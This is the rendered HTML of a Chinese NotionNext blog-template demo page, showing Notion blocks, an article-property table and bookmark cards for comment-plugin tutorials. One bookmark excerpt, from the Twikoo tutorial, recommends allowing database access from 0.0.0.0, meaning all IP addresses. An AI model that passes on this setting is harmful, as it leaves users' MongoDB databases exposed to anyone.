class="notion-property notion-property-text"><form action="https://tangly1024.com/" target="_blank"><input type="submit" class="nested-form-link notion-link" value="https://tangly1024.com/"/></form></span></div></div></a></div></div></div></div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-2a9d635cc4824b0fac9ebddf92763cc0" data-id="2a9d635cc4824b0fac9ebddf92763cc0"><span><div id="2a9d635cc4824b0fac9ebddf92763cc0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2a9d635cc4824b0fac9ebddf92763cc0" title="7. 内嵌网页"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">7. 内嵌网页</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-embed notion-block-cd2467f1058747a7b7df7dedefce0089"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:486.99713134765625px"><iframe class="notion-asset-object-fit" src="https://docs.tangly1024.com/zh" title="iframe embed" frameBorder="0" allowfullscreen="" loading="lazy" scrolling="auto"></iframe></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-5983d1dfcecf42e29c7ab82286404902" data-id="5983d1dfcecf42e29c7ab82286404902"><span><div id="5983d1dfcecf42e29c7ab82286404902" class="notion-header-anchor"></div><a class="notion-hash-link" href="#5983d1dfcecf42e29c7ab82286404902" title="5.代办"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5.代办</span></span></h3><div class="notion-row notion-block-845822a3f388425dbb07ba6d844d6855"><div class="notion-column notion-block-d1aa0132645c48d985db74595eda1980" style="width:calc((100% - (1 * min(32px, 4vw))) * 0.5)"><div class="notion-text notion-teal_background notion-block-404ed4fd27d940968126b0e656bc8417">家庭</div><div class="notion-to-do notion-block-0108c11e4a484287979bb4ba9e81643b"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">洗衣</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-9880a0d744d04905b4b0adf33b16ee40"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">做饭</div></div><div class="notion-to-do-children"></div></div></div><div class="notion-spacer"></div><div class="notion-column notion-block-6cbbb0ad635b42699db83cd86171c80d" style="width:calc((100% - (1 * min(32px, 4vw))) * 0.5)"><div class="notion-text notion-blue_background notion-block-951c6ac1932245c1b23cd90eb3318c8b">事业</div><div class="notion-to-do notion-block-6df27239598c453c98d2bf6d232579ee"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">开会</div></div><div class="notion-to-do-children"></div></div><div class="notion-to-do notion-block-c7f533379d37493e9d683c4b7edf1643"><div class="notion-to-do-item"><span class="notion-property notion-property-checkbox"><div class="notion-property-checkbox-unchecked"></div></span><div class="notion-to-do-body">加班</div></div><div class="notion-to-do-children"></div></div></div><div class="notion-spacer"></div></div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-3146301b3f64489b939df58a18771abe" data-id="3146301b3f64489b939df58a18771abe"><span><div id="3146301b3f64489b939df58a18771abe" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3146301b3f64489b939df58a18771abe" title="6.折叠列表"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.折叠列表</span></span></h3><details class="notion-toggle notion-block-9343ce3973b64ea894bd0a4074cce618"><summary>点击展开</summary><div><details class="notion-toggle notion-block-f145f4b963b546188565c571ee5efe22"><summary>点击展开</summary><div><details class="notion-toggle notion-block-087d6270d1b1498c8d2acc84e204fc4d"><summary>点击展开</summary><div><div class="notion-text notion-block-8e03a4fa9d95463bacfa1ea55a5af216">内容可以多级嵌套</div></div></details></div></details></div></details><hr class="notion-hr notion-block-926ed8a3e8df41f29523c1aaebab389e"/><div class="notion-blank notion-block-477f23afdb024362a097a279b0afd0af"> </div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-efdbbb42d93341bfb4ff7dd2480353bd" data-id="efdbbb42d93341bfb4ff7dd2480353bd"><span><div id="efdbbb42d93341bfb4ff7dd2480353bd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#efdbbb42d93341bfb4ff7dd2480353bd" title="8. 同步块 "><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">8. 同步块 </span></span></h3><div class="notion-text notion-block-79a6438cf5cd4a79947148fd1baf9314">Notion支持将不同页面的块进行同步，即 SyncBlock，以下是来自另一个页面的块：</div><div class="notion-sync-block notion-block-a85e44945dcb42fc8e1a952ca35d8517"><div class="notion-text notion-block-333b9828c01d4aee88c0ab67706a235a">【sync-block】这是一段来自示例文章-3的段落 ，通过 SyncBlock同步。</div></div><div class="notion-callout notion-gray_background_co notion-block-03d7b02722c3437cb96a30f23aa08a7c"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text"><span class="notion-red_background">注意</span> ： 同步块的使用条件是源页面也要被<b>开放共享</b> ，否则NotionNext将无权访问，页面上会被忽略渲染。<figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-787f1e2c2f20449ea3e06d2569de5ef9"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fe078a58d-d9a8-48ac-8489-34d9d71b03c8%2FUntitled.png?table=block&amp;id=787f1e2c-2f20-449e-a3e0-6d2569de5ef9" alt="notion image" loading="lazy" decoding="async"/></div></figure></div></div><div class="notion-blank notion-block-787a326963c94cf1bbd6f9fe91240cd4"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-cbac0efc6a094fa79833f346a9942111" data-id="cbac0efc6a094fa79833f346a9942111"><span><div id="cbac0efc6a094fa79833f346a9942111" class="notion-header-anchor"></div><a class="notion-hash-link" href="#cbac0efc6a094fa79833f346a9942111" title="多级目录"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">多级目录</span></span></h2><div class="notion-text notion-block-9313f086f9534a798133259eb0860dca">heading标题在博客中自动转为目录</div><div class="notion-row notion-block-130e1e40798349899a99fe098e989ded"><div class="notion-column notion-block-bb436a6fe8364d2fb94b5f6f5fb41e68" style="width:calc((100% - (1 * min(32px, 4vw))) * 0.5)"><h3 class="notion-h notion-h2 notion-block-dabb850128f648fa9c59697492e54996" data-id="dabb850128f648fa9c59697492e54996"><span><div id="dabb850128f648fa9c59697492e54996" class="notion-header-anchor"></div><a class="notion-hash-link" href="#dabb850128f648fa9c59697492e54996" title="二级目录1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">二级目录1</span></span></h3><div class="notion-text notion-block-83566bb17c654224acc6f9952f91217c">二级内容 1</div></div><div class="notion-spacer"></div><div class="notion-column notion-block-245c08fccfd74bd9877e46131bc3b212" style="width:calc((100% - (1 * min(32px, 4vw))) * 0.5)"><h3 class="notion-h notion-h2 notion-block-32d6a301454346dd878912ec40686f67" data-id="32d6a301454346dd878912ec40686f67"><span><div id="32d6a301454346dd878912ec40686f67" class="notion-header-anchor"></div><a class="notion-hash-link" href="#32d6a301454346dd878912ec40686f67" title="二级目录2"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">二级目录2</span></span></h3><div class="notion-text notion-block-83e047ac840b4eeeae83a737f4096053">二级内容2</div></div><div class="notion-spacer"></div></div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-0cf3d19e256c415aa88ec34cbf1499f2" data-id="0cf3d19e256c415aa88ec34cbf1499f2"><span><div id="0cf3d19e256c415aa88ec34cbf1499f2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#0cf3d19e256c415aa88ec34cbf1499f2" title="二级目录3"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">二级目录3</span></span></h3><div class="notion-row notion-block-81ad2adab3c249dfa1c46f432a720f2d"><div class="notion-column notion-block-4f1f6768005c488d8b4684532f564f4e" style="width:calc((100% - (1 * min(32px, 4vw))) * 0.5)"><h4 class="notion-h notion-h3 notion-block-2ad6cfc3e3ce41a2aaa6899d28dcdc27" data-id="2ad6cfc3e3ce41a2aaa6899d28dcdc27"><span><div id="2ad6cfc3e3ce41a2aaa6899d28dcdc27" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2ad6cfc3e3ce41a2aaa6899d28dcdc27" title="三级目录3.1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">三级目录3.1</span></span></h4><div class="notion-text notion-block-fa450a8229c94f31998f75dc5eaf3e46">不同级别的heading代表不同级别的目录</div></div><div class="notion-spacer"></div><div class="notion-column notion-block-0cc3b611f0414d66a0ce3f4e7d4f5036" style="width:calc((100% - (1 * min(32px, 4vw))) * 0.5)"><h4 class="notion-h notion-h3 notion-block-a466bd2040fd4722b097d56d87736181" data-id="a466bd2040fd4722b097d56d87736181"><span><div id="a466bd2040fd4722b097d56d87736181" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a466bd2040fd4722b097d56d87736181" title="三级目录3.2"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">三级目录3.2</span></span></h4><div class="notion-text notion-block-26626b0a36744408bf9bf29e5784ec4e">高一级目录嵌套低一级目录</div></div><div class="notion-spacer"></div></div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-dbec390ed701492da21589757f109752" data-id="dbec390ed701492da21589757f109752"><span><div id="dbec390ed701492da21589757f109752" class="notion-header-anchor"></div><a class="notion-hash-link" href="#dbec390ed701492da21589757f109752" title="多级列表"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">多级列表</span></span></h3><ul class="notion-list notion-list-disc notion-block-541213f31d784c74999eef76e366e638"><li>事物的必然性</li></ul><ol start="1" class="notion-list notion-list-numbered notion-block-02f910f98e3d43a1a32bd0a93673a166"><li>事物按规律变化，也有一种不可避免的性质．这种性质就叫做<b>必然性</b></li><ol class="notion-list notion-list-numbered notion-block-02f910f98e3d43a1a32bd0a93673a166"><li>事物的必然性，是事物本身的性质（我们反对宿命论的是其认为这一切是受神明的支配，而不是反对事物发展中存在的不可避免的性质的事实）</li><ol class="notion-list notion-list-numbered notion-block-d524314aa8b444f6b958b28b3edcd404"><li>第三级别列表</li><li>第三级别列表</li></ol><li>其决定于它自己本身发展的情况和周围的条件</li><ol class="notion-list notion-list-numbered notion-block-78e7c0d194a54bbc950e6d77e804d268"><li>第三级别列表</li><ol class="notion-list notion-list-numbered notion-block-bcd1298c88b94bffafd8459badba6de5"><li>第三级别列表</li></ol></ol></ol></ol><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-b329bf538d784dc8ac4eb155d8d4ae6f" data-id="b329bf538d784dc8ac4eb155d8d4ae6f"><span><div id="b329bf538d784dc8ac4eb155d8d4ae6f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b329bf538d784dc8ac4eb155d8d4ae6f" title="模板使用说明"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">模板使用说明</span></span></h2><div class="notion-text notion-block-b8696bb1cb654871bdfa3cc2fbcd4d4a">若要部署你的NotionNext项目，请复制该模板，并按照模板格式创建文章：</div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-152baa5458734d89ba3d899d3917f79a" href="https://tanghh.notion.site/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d"><div><div class="notion-bookmark-title">NOTION BLOG</div><div class="notion-bookmark-description">演示站点描述</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-text">https://tanghh.notion.site/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d</div></div></div><div class="notion-bookmark-image"><img style="object-fit:cover" src="https://tanghh.notion.site/image/https%3A%2F%2Fp1.qhimg.com%2Fbdm%2F1600_900_100%2Ft01e66d486b8e826270.jpg?table=collection&amp;id=4379bc14-5d22-453b-a153-12639616fc01&amp;spaceId=6c096b44-beb9-48ee-8f92-1efdde47f3a3&amp;width=2000&amp;userId=&amp;cache=v2" alt="NOTION BLOG" loading="lazy" decoding="async"/></div></a></div><div class="notion-text notion-block-6146b1b6b15f4a3a9bd936162b2df670">Notion页面中，每篇文章都将有以下属性🤔：</div><table class="notion-simple-table notion-block-4c7b403d0d4747249d50ea51a61746fd"><tbody><tr class="notion-simple-table-row notion-block-b16eb725ea61476399cf4fd2639cbb35"><td class="" style="width:148px"><div class="notion-simple-table-cell">属性</div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell">必填</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">说明</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">备注</div></td></tr><tr class="notion-simple-table-row notion-block-5579f29f701a441d9ff52481e5990034"><td class="" style="width:148px"><div class="notion-simple-table-cell"><code class="notion-inline-code">title</code></div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell"> 是</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell"> 文章标题</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">ㅤ</div></td></tr><tr class="notion-simple-table-row notion-block-2969b98678444f76b538e69f8139a8ee"><td class="" style="width:148px"><div class="notion-simple-table-cell"><code class="notion-inline-code">status</code></div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell">是</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">发布状态</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">（仅当状态为<code class="notion-inline-code">Published</code> 时会被 展示）</div></td></tr><tr class="notion-simple-table-row notion-block-584846cfead948ad90966a2f187384ca"><td class="" style="width:148px"><div class="notion-simple-table-cell"><code class="notion-inline-code">type</code></div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell">是</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">页面类型 (博文<code class="notion-inline-code">Post</code> / 单页(<code class="notion-inline-code">Page</code>)</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">单页不会在博文列表显示 。</div></td></tr><tr class="notion-simple-table-row notion-block-3caed6bb16b549c68f0414095a4fbfe9"><td class="" style="width:148px"><div class="notion-simple-table-cell"><code class="notion-inline-code">summary</code></div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">内容摘要</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">搜索和简略显示会用到</div></td></tr><tr class="notion-simple-table-row notion-block-0fca77f215c3493a96a0ae7ba8e4fc35"><td class="" style="width:148px"><div class="notion-simple-table-cell"><code class="notion-inline-code">date</code></div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">发布日期</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">在V3.3.9之前的版本此项为必填。</div></td></tr><tr class="notion-simple-table-row notion-block-1967cf9f0993405fb212098267e79aa3"><td class="" style="width:148px"><div class="notion-simple-table-cell"><code class="notion-inline-code">category</code></div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">文章分类</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">可以自定义</div></td></tr><tr class="notion-simple-table-row notion-block-3be4244375994257937261ade862e338"><td class="" style="width:148px"><div class="notion-simple-table-cell"><code class="notion-inline-code">tags</code></div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">文章标签</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">可多个，建议不要太多</div></td></tr><tr class="notion-simple-table-row notion-block-42794e95b71e4274bb3ea50e147d07ac"><td class="" style="width:148px"><div class="notion-simple-table-cell"><code class="notion-inline-code">slug</code></div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">文章短路径</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell"> (每篇文章唯一，请勿 重复）</div></td></tr><tr class="notion-simple-table-row notion-block-a9ab7a284dba49139aaf20c93dd58c01"><td class="" style="width:148px"><div class="notion-simple-table-cell"><code class="notion-inline-code">icon</code></div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">菜单栏图标(仅当<code class="notion-inline-code">Page</code>类型有效)</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">可以参考：<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://fontawesome.com/v6/search">图标库地址</a></div></td></tr><tr class="notion-simple-table-row notion-block-5cbb6aadf21542a98fe5fce9b42a470f"><td class="" style="width:148px"><div class="notion-simple-table-cell"><code class="notion-inline-code">password</code></div></td><td class="" style="width:77.00000762939453px"><div class="notion-simple-table-cell"> 否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell"> 文章加锁</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell"> 需要输入密码才允许访问</div></td></tr></tbody></table><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-f69d1376deb24db3a592490344c24586" data-id="f69d1376deb24db3a592490344c24586"><span><div id="f69d1376deb24db3a592490344c24586" class="notion-header-anchor"></div><a class="notion-hash-link" href="#f69d1376deb24db3a592490344c24586" title="评论插件"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">评论插件</span></span></h2><div class="notion-text notion-block-170401a3c35044949fa75d6eb89e33b7">系统支持 Waline\Giscus\Valine\GitTalk\Utterance\Cusdis\Twikoo六种评论插件，并且可以同时开启，点击评论区的Tab来体验。</div><div class="notion-text notion-block-91fe8f852c7c457782a53b8c2093610c">按照以下教程可以开启响应的评论插件</div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-990083e58e5343c997a28cc00cf86602" href="https://tangly1024.com/article/notionnext-twikoo"><div><div class="notion-bookmark-title">NotionNext配置评论插件Twikoo | TANGLY&#x27;s BLOG</div><div class="notion-bookmark-description">一个简洁、安全、免费的静态网站评论系统，基于 腾讯云开发 。 经评论区网友推荐，我开始使用 Twikoo，一番体验，发现Twikoo真的很强大，目前我决定用它作为主要评论插件。 twikoo支持在页面上直接管理评论、配置插件，非常强大 在最新版本中 NotionNext已经 支持该评论插件，配置 方法很简单： 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_ENV_ID ; 值为您部署好的 twikoo 后台地址。以我的举例： 借助vercel，您可以非常快速地部署自己的twikoo后台，用于储存评论数据。 twikoo的后台数据存储是基于MongoDB数据库的，我们可以先注册创建一个免费的在线MongoDB数据库。 创建MongoDB数据库 1.注册账号 创建数据库 这里下方要设置一个允许访问该数据库的IP地址，推荐设置0.0.0.0，即所有地址都允许访问，毕竟我也不知道自己会用什么ip访问这个数据库。 2.获取数据库连接地址 Vercel一键部署 点击Create将twikoo的代码拷入您的仓库 配置MongoDB数据库地址 添加一个配置 MONGODB_URI 环境变量即可，其值为上一步获得的MongoDB连接地址，注意将链接中MONGODB的密码 替换成您设置的。 上述部署完成后，您将获得一个vercel的twikoo后台页面，您可以选择像我一样映射成二级域名 将您的twikoo后台地址配置在NotionNext的后台，并redeploy即可。 到此完成~ 点击右下角的小齿轮即可配置您的管理员密码、并进行更多的功能设置。赶快体验吧~ 可以访问官方文档获取安装部署帮助，并且查看Twikoo的更多特性。 NotionNext支持多种评论插件，可访问以下文章获得帮助：</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-icon"><img src="https://tangly1024.com/favicon.ico" alt="NotionNext配置评论插件Twikoo | TANGLY&#x27;s BLOG" loading="lazy" decoding="async"/></div><div class="notion-bookmark-link-text">https://tangly1024.com/article/notionnext-twikoo</div></div></div><div class="notion-bookmark-image"><img style="object-fit:cover" src="https://images.unsplash.com/photo-1564419320603-628d868a193f?ixlib=rb-4.0.3&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb" alt="NotionNext配置评论插件Twikoo | TANGLY&#x27;s BLOG" loading="lazy" decoding="async"/></div></a></div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-55fb90a1ff144d5eaa9da22e209e145f" href="https://tangly1024.com/article/notion-next-comment-plugin"><div><div class="notion-bookmark-title">NotionNext如何添加评论插件 | TANGLY&#x27;s BLOG</div><div class="notion-bookmark-description">NotionNext支持多种评论插件，其中体验比较好的我个人觉得是Twikoo，您可以参考以下教程进行配置安装： 您也可以选择Valine/Waline，关于Valine/Waline的部署可以访问此篇文章： Utterance 、 Giscus 、Gitalk 其中部署最便捷的当属 Cusdis 和 Utterance 这两个插件。您可以任选一个部署，当然，您也可以选择同时部署多个。 完成效果预览 点击Start for free ，并用Github登录即可 Sign in With Github (点击查看截图) [可选] 配置邮件通知地址，以便收到新评论时邮件通知您，（点击展开截图） 点击Embed Code获取您的应用ID，即data-app-id, 复制这串id备用。 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_CUSDIS_APP_ID，值为上面获取到的data-app-id。 完成预览效果 在您的Github中创建一个开源项目用于存放评论 在github中安装utterance插件 允许utterance访问所有仓库，并勾选install，可以只勾选作为评论用的仓库地址。 